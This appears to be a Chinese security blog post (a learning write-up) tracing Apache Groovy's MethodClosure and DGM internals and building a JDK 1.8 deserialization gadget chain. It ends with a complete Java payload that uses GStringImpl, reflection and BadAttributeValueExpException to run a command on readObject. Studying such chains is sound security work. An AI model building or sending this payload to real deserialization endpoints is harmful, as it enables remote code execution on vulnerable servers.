Apache Groovy反序列化分析+jdk1.8利用链

admin 2021年10月24日09:01:33评论215 views字数 11254阅读37分30秒阅读模式

0x01 前言

我又来更新了,哈哈,托更现象太严重,见谅,只为了做好文章质量。本次要讲的是比较早的漏洞了,主要是我觉得挺适合新手学习的,包括我自己哈,所以打算做个学习笔记,和大家一起分享。写的不好的地方,还望大佬们多多包涵。

0x02 代码调试

首先,我们先搭建一下环境,idea创建一个空的maven项目即可,然后导入如下依赖

<dependencies>        <dependency>            <groupId>org.codehaus.groovy</groupId>            <artifactId>groovy</artifactId>            <version>2.4.1</version>        </dependency></dependencies>


因为groovy漏洞影响的版本为Groovy 1.7.0-2.4.3,所以我们导入范围内的版本即可


然后就是写测试代码了,如下

public class DemoSerializable {
public static void main(String[] args) throws Exception { MethodClosure mc = new MethodClosure("calc", "execute"); mc.call(); }}


我们要做的是过一遍正常程序执行流程,熟悉程序执行时经过了哪些方法,再执行之前我们可以先在以下位置打上一个断点

  • MethodClosure  mc = new MethodClosure("calc", "execute");

  • mc.call();

  • groovy.lang.Closure#call()

然后就可以开启debug模式运行程序了,我们先进入MethodClosure构造方法,如图

Apache Groovy反序列化分析+jdk1.8利用链

可以看到构造方法中就是将我们传入的参数进行初始化赋值,owner参数是通过父类的构造方法对父类中的变量进行初始化赋值,如图

Apache Groovy反序列化分析+jdk1.8利用链


这里的owner分别赋值给了this.owner以及this.delegate,这边还有一个变量我们需要留一下,就是this.maximumNumberOfParameters,该变量我们后面会用到,暂时先保留。

当MethodClosure全部初始化赋值完毕后,回到main方法执行call方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到因为MethodClosure子类没有call方法,所以会调用父类Closure的call方法,this代表的是MethodClosure子类对象。接着往下走,调用this.call方法进入到有参的重载call方法,我们跟进this.getMetaClass()方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


这里调用方法前会先根据 InvokerHelper.getMetaClass(this.getClass()) 方法来获取 MetaClass对象,可以看到获取到的是MetaClassImpl对象,也就是MetaClass接口的实现类,然后判断是否为null,这里不为null直接返回该对象。

返回后的对象再调用invokeMethod(this, "doCall", args)方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


我们继续跟进方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


这时传入对应的参数,再调用下面的invokeMethod方法,下面会做一些判断,object不为null所以进入else代码块,然后methodName不为call继续往下走,method为null满足条件,进入 this.getMethodWithCaching(sender, methodName, arguments, isCallToSuper) 方法中,如图(这个方法也是比较重要的方法,留意一下)

Apache Groovy反序列化分析+jdk1.8利用链


if判断不成立进入else代码块,然后会调用MetaMethodIndex对象的getMethods方法,传入MethodClosure类对象和 doCall 字符串,这里我们跟进去,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到先是对对象的hashCode以及方法名doCall字符串分别进行了hash运算,然后相加再次求出hash赋值给h,然后下一步又进行了按位与运算求得值为234。这里的table是一个存放了大量MetaMethodIndex$Entry的数组,这里的意思就是根据求出的值234下标从数组中取出对应的对象,这里的234下标对应的对象如图

Apache Groovy反序列化分析+jdk1.8利用链


咦?是不是看出了点什么端倪。这里的name也为doCall,和传入的方法名相同,然后hash值也和运算后的hash值相同,cachedClass为MethodClosure类对象,好像有那么点意思了。这里的疑虑我等会为大家揭晓,这也是很多漏洞分析者没有分析到的点,多数人只知道取出来是什么,而却不知道,为什么会取出来这个对象。

因为hash相同,name也相同,所以满足判断返回该对象

Apache Groovy反序列化分析+jdk1.8利用链


可以看到返回的e对象就是我们刚刚看到的对象,接着往下走进入this.getNormalMethodWithCaching(arguments, e) 方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


在方法中,我们可以看到先将e对象中的methods对象取了出来,然后进入else代码块,因为e.cacheMethod为null,所以跳过if判断继续往下走。我们重点关注圈出来的两个地方,一个是创建一个CacheEntry对象,还有一个是返回cacheEntry对象中的method对象,如图

Apache Groovy反序列化分析+jdk1.8利用链

可以看到返回的是CachedMethod对象,可以理解为Method对象,包含执行的方法。

然后返回到groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法中,继续往下走,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到,因为object为MethodClosure对象,所以isClosure为true,进入if代码块。然后对object对象进行了强转,获取了owner对象,也就是我们要执行的命令“calc”,因为methodName满足"doCall".equals(methodName)判断,所以进入第二层if代码块,第三层也满足继续进入。

在第三层if代码块中,将Closure对象强转为了MethodClosure实现类对象,获取了方法名“execute”,然后调用this.registry.getMetaClass(ownerClass)方法获取到MetaClassImpl对象,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到获取到MetaClassImpl对象,然后继续调用invokeMethod方法,其实就是递归调用,传入ownerClass、owner、methodName等参数,参数值图中都可以看到,继续跟进方法

Apache Groovy反序列化分析+jdk1.8利用链


可以看到又回到了groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法中,不过和第一次代入得参数不一样(划重点),我们继续跟进

Apache Groovy反序列化分析+jdk1.8利用链


依然是调用this.metaMethodIndex.getMethods(sender, methodName)方法,和第一次参数不同,继续跟进

Apache Groovy反序列化分析+jdk1.8利用链


这次计算得出的数组下标为55,我们来看一下55里面是什么对象,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到,对象中的name和我们传入的方法名是一样的,hash又是一样的,有点意思吧。不过也有不一样的,那就是methods中的对象变成了代理对象,这里是程序自定义的Proxy代理对象,不要搞混了。然后多了一个className,其值为 org/codehaus/groovy/runtime/dgm$880。

className干嘛的我们先不考虑,至少程序执行到这里,我们已经能看出端倪了,那就是我们传入什么方法名(例如:execute),则获取到的对象方法名也是一样的(例如:execute),然后每个方法名对应各自不同的对象。

程序接着往下走回到groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


返回的method对象就是className对象的对象,然后object这次不为Closure类型了,所以不进入if代码块,接着往下走,如图

Apache Groovy反序列化分析+jdk1.8利用链


method不为null,所以会调用dgm$880对象的doMethodInvoke方法,我们去看看,如图

Apache Groovy反序列化分析+jdk1.8利用链


在该方法中调用了ProcessGroovyMethods.execute((String)var1)方法,传入了我们要执行的命令“calc”,继续跟入

Apache Groovy反序列化分析+jdk1.8利用链


这时候才真的水落石出了,原来命令是在这里执行的,弹个窗

Apache Groovy反序列化分析+jdk1.8利用链


当然,我的目的不是教你怎么弹窗的,而是要教会你为什么是这样的结果,以及这个dgm$880对象是怎么来的。

0x03 dgm的生成与使用

在这里,就要讲一下groovy程序的设计思想了,在groovy中一般都是通过反射来调用方法的,但是在java中,通过反射来调用方法要比直接调用方法慢上好几倍,所以这个时候DGM就登场了。

DGM全称是DefaultGroovyMethods,DGM类中包含了Groovy为JDK的类添加的各种方法。DGM调用优化的思想就是通过直接调用来代替反射调用。而要实现直接调用,则需要为DGM中的每个方法生成一个从MetaMethod派生的包装类,该类的invoke方法将直接调用DGM中对应的方法。

在编译Groovy自身的Java代码(不是用Groovy写的代码)之后,通过调用DgmConverter类的main方法,为DefaultGroovyMethods的每个方法生成一个包装类,该类继承GeneratedMetaMethod类,而GeneratedMetaMethod类则继承MetaMethod类。该包装类的类名类似于org.codehaus.groovy.runtime.dgm$123($后跟一个数),方法如下

org.codehaus.groovy.tools.DgmConverter#main

public static void main(String[] args) throws IOException, ClassNotFoundException {        String targetDirectory = "target/classes/";        boolean info = args.length == 1 && args[0].equals("--info") || args.length == 2 && args[0].equals("--info");        if (info && args.length == 2) {            targetDirectory = args[1];            if (!targetDirectory.endsWith("/")) {                targetDirectory = targetDirectory + "/";            }        }
List<CachedMethod> cachedMethodsList = new ArrayList(); Class[] arr$ = DefaultGroovyMethods.DGM_LIKE_CLASSES; int len$ = arr$.length;
int cur; for(cur = 0; cur < len$; ++cur) { Class aClass = arr$[cur]; Collections.addAll(cachedMethodsList, ReflectionCache.getCachedClass(aClass).getMethods()); }
CachedMethod[] cachedMethods = (CachedMethod[])cachedMethodsList.toArray(new CachedMethod[cachedMethodsList.size()]); List<DgmMethodRecord> records = new ArrayList(); cur = 0; CachedMethod[] arr$ = cachedMethods; int len$ = cachedMethods.length;
for(int i$ = 0; i$ < len$; ++i$) { CachedMethod method = arr$[i$]; if (method.isStatic() && method.isPublic() && method.getCachedMethod().getAnnotation(Deprecated.class) == null && method.getParameterTypes().length != 0) { Class returnType = method.getReturnType(); String className = "org/codehaus/groovy/runtime/dgm$" + cur++; DgmMethodRecord record = new DgmMethodRecord(); records.add(record); record.methodName = method.getName(); record.returnType = method.getReturnType(); record.parameters = method.getNativeParameterTypes(); record.className = className; ClassWriter cw = new ClassWriter(1); cw.visit(47, 1, className, (String)null, "org/codehaus/groovy/reflection/GeneratedMetaMethod", (String[])null); createConstructor(cw); String methodDescriptor = BytecodeHelper.getMethodDescriptor(returnType, method.getNativeParameterTypes()); createInvokeMethod(method, cw, returnType, methodDescriptor); createDoMethodInvokeMethod(method, cw, className, returnType, methodDescriptor); createIsValidMethodMethod(method, cw, className); cw.visitEnd(); byte[] bytes = cw.toByteArray(); FileOutputStream fileOutputStream = new FileOutputStream(targetDirectory + className + ".class"); fileOutputStream.write(bytes); fileOutputStream.flush(); fileOutputStream.close(); } }
DgmMethodRecord.saveDgmInfo(records, targetDirectory + "/META-INF/dgminfo"); if (info) { System.out.println("Saved " + cur + " dgm records to: " + targetDirectory + "/META-INF/dgminfo"); }
}


主要就是获取特定类中的所有方法,不止DefaultGroovyMethods一个类,还有其他几个类,就不一一列举了,感兴趣可以看下源码。获取到方法后,将对应的方法名和对应的类名封装在一起,一起写入dgminfo文件中,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到,方法名对应特定的对象,每个人的机器生成的顺序可能都不太一样,这也就能解释为什么之前使用execute方法名,从table中获取到的方法名也为execute了,以及其所关联的对象中的方法也为execute。

然后,当程序运行时,就会从dgminfo文件中去读取内容,获取对应的值,代码如下

org.codehaus.groovy.reflection.GeneratedMetaMethod.DgmMethodRecord#loadDgmInfo

public static List<GeneratedMetaMethod.DgmMethodRecord> loadDgmInfo() throws IOException, ClassNotFoundException {            ClassLoader loader = GeneratedMetaMethod.DgmMethodRecord.class.getClassLoader();            DataInputStream in = new DataInputStream(new BufferedInputStream(loader.getResourceAsStream("META-INF/dgminfo")));            Map<Integer, Class> classes = new HashMap();
int i; for(i = 0; i < PRIMITIVE_CLASSES.length; ++i) { classes.put(i, PRIMITIVE_CLASSES[i]); }
i = 0;
while(true) { String name; int key; do { name = in.readUTF(); if (name.length() == 0) { int size = in.readInt(); List<GeneratedMetaMethod.DgmMethodRecord> res = new ArrayList(size);
for(int i = 0; i != size; ++i) { boolean skipRecord = false; GeneratedMetaMethod.DgmMethodRecord record = new GeneratedMetaMethod.DgmMethodRecord(); record.className = in.readUTF(); record.methodName = in.readUTF(); record.returnType = (Class)classes.get(in.readInt()); if (record.returnType == null) { skipRecord = true; }
int psize = in.readInt(); record.parameters = new Class[psize];
for(int j = 0; j < record.parameters.length; ++j) { record.parameters[j] = (Class)classes.get(in.readInt()); if (record.parameters[j] == null) { skipRecord = true; } }
if (!skipRecord) { res.add(record); } }
in.close(); return res; }
key = in.readInt(); } while(i++ < PRIMITIVE_CLASSES.length);
Class cls = null;
try { cls = loader.loadClass(name); } catch (ClassNotFoundException var11) { continue; }
classes.put(key, cls); } }


以键值对的形式,存入到map集合中,方便下次取出。

我们可以在以下位置打上断点,debug启动程序,即可看到整个执行流程

  • org.codehaus.groovy.reflection.GeneratedMetaMethod.DgmMethodRecord#loadDgmInfo   // 加载文件中方法和对应的包装类

  • groovy.lang.MetaClassImpl#getNormalMethodWithCaching   // 获取proxy对象的地方

  • org.codehaus.groovy.reflection.GeneratedMetaMethod.Proxy#proxy  // 获取proxy的方法,和上一步有联系


下面用一张图展示以下,如图

Apache Groovy反序列化分析+jdk1.8利用链


可以看到整个执行的过程,这里时使用的懒加载,即程序调用时才实例化加载对象,这里时通过获取全限定类名然后使用类加载器加载并实例化赋值给proxy对象,这里的proxy对象就是我们前面说过的自定义的proxy对象。

由于写的时间比较晚,这里调试的部分大家可以自行搭建调试,更有助于理解。

0x04 jdk1.8利用链的发现以及分析

终于到了利用链编写环节,泪奔啊。。。

这里我采用的时jdk1.8的利用链去做的,没有使用sun.reflect.annotation.AnnotationInvocationHandler对象去做,就当学习。

通过前面的一系列分析我们可以知道,如果想执行命令,那么就得写一个MethodClosure对象,构造方法中传入要执行的命令“calc”,以及调用的方法“execute”,然后调用MethodClosure对象的call()方法,即可执行我们想要执行的命令。

那么我们的关注点就应该是在某个实现了Serializable接口的类中(没实现序列化接口的对象无法进行反序列化),通过构造方法或者其他方式传入了我们的恶意MethodClosure对象,然后再某个特定方法中调用了MethodClosure对象的call方法,这就是我们要寻找的目标类。

通过jar包中对call方法进行搜索,很快就定位到了一个合适的类:groovy.lang.GString,如图

Apache Groovy反序列化分析+jdk1.8利用链

Apache Groovy反序列化分析+jdk1.8利用链


由于代码比较长所以截取关键部分,可以看到Gstring是public的而且实现了Serializable接口,通过构造方法可以传入MethodClosure对象,然后在其writeTo方法中调用了call方法,我们再来看一下哪里调用writeTo方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


好家伙,这不是完美吗?!激动的我和你们一样,立马写了个测试demo,如图

Apache Groovy反序列化分析+jdk1.8利用链


???黑人问号

怎么看怎么怪,其实不难理解,因为Gsting是abstract抽象类,一般情况下abstract类是不能够实例化,但是面两种情形下是可以实例化的。

一、通过abstract 父类的引用来指向子类的实例,子类A继承abstract 父类B,B aa=new A("a");

二、通过实例化子类来间接实例化抽象类,因为子类实例化的时候,会默认调用先父类的实例化方法

这里我用的是第二种,代码也不难写,如图

Apache Groovy反序列化分析+jdk1.8利用链


咦?为啥又报错了呢,瞎琢磨肯定是解决不了问题的,我们直接debug看看问题出在哪里,再以下位置打上断点

  • gString.toString()

  • groovy.lang.GString#toString

  • groovy.lang.GString#writeTo

打好断点后开始debug运行,先进入groovy.lang.GString#toString方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


在进入writeTo方法中,如图

Apache Groovy反序列化分析+jdk1.8利用链


跟进getStrings方法,看下返回了什么

Apache Groovy反序列化分析+jdk1.8利用链


返回的是我们写入构造方法的字符串,回来后继续往下走

Apache Groovy反序列化分析+jdk1.8利用链


由于i<numberOfValues成立,所以进入if代码块,然后取出this.values数组的第一个元素,也就是我们存入的恶意MethodClosure对象,通过if判断继续往下,如图

Apache Groovy反序列化分析+jdk1.8利用链


跟进getMaximumNumberOfParameters方法中,看看获取了什么

Apache Groovy反序列化分析+jdk1.8利用链


好家伙,原来罪魁祸首在这里,因为maximumNumberOfParameters的值为2,所以不能通过前面的if判断,就抛了异常。

Apache Groovy反序列化分析+jdk1.8利用链


好家伙,这时有的童鞋可能要急了:哎呀!眼看就要成功了,咋卡在这里了,这可咋办呀!

平时多学(看)点(毛)知(片)识,也不至于卡住是不。既然它要为0才能通过判断,那么我们就让它为0不就好了,关键时候还有反射老大哥没出手呢,不慌!我们先来看一下这个变量长啥样,如图

Apache Groovy反序列化分析+jdk1.8利用链


好家伙,原来该成员变量是在Closure类中定义的,还好,只是用了protected修饰而已,我们直接反射修改即可。这里有一点需要注意一下,那就是由于Closure时抽象类 ,所以我们不直接new它,我们通过类加载的方式去实例化它然后修改maximumNumberOfParameters变量的值,这样就可以实现绕过验证执行恶意代码的目的了。代码如图

Apache Groovy反序列化分析+jdk1.8利用链


解释一下,这里为什么可以用 mc对象去修改Closure对象的成员属性值,因为MethodClosure对象继承于Closure对象,所以使用MethodClosure对象来修改maximumNumberOfParameters属性的值是可行的。

运行后如图

Apache Groovy反序列化分析+jdk1.8利用链


都到了这一步了,后面的应该也不难了吧,上才艺!

可曾记得大明湖畔,啊呸,可曾记得javax.management.BadAttributeValueExpException这位老兄弟,是的,想起来是吧,再该类的readObject方法中正好调用了toString方法,如图

Apache Groovy反序列化分析+jdk1.8利用链


是不是很完美,量身订制一般。

所以最终payload如下

public class Test1 {
public static void main(String[] args) throws Exception { MethodClosure mc = new MethodClosure("calc", "execute");
Class<?> clazz = Class.forName("groovy.lang.Closure"); Field f = clazz.getDeclaredField("maximumNumberOfParameters"); f.setAccessible(true); f.set(mc, 0);
GStringImpl gString = new GStringImpl(new Object[]{mc}, new String[]{"1"});
BadAttributeValueExpException bad = new BadAttributeValueExpException("123"); Field val = bad.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(bad, gString);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bad);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
}


效果如图

Apache Groovy反序列化分析+jdk1.8利用链


0x05 总结

到这里就接近尾声了,关于反序列化利用链其实还有太多值得我们去学习,学无止境,永远不要停下脚步。


0x06 参考文章

Groovy深入探索——DGM调用优化(https://blog.csdn.net/johnny_jian/article/details/83911411)

Java 反序列化系列 ysoserial Groovy 1(https://paper.seebug.org/1171/)


本文始发于微信公众号(伟盾网络安全):Apache Groovy反序列化分析+jdk1.8利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月24日09:01:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Groovy反序列化分析+jdk1.8利用链http://cn-sec.com/archives/388569.html

发表评论

匿名网友 填写信息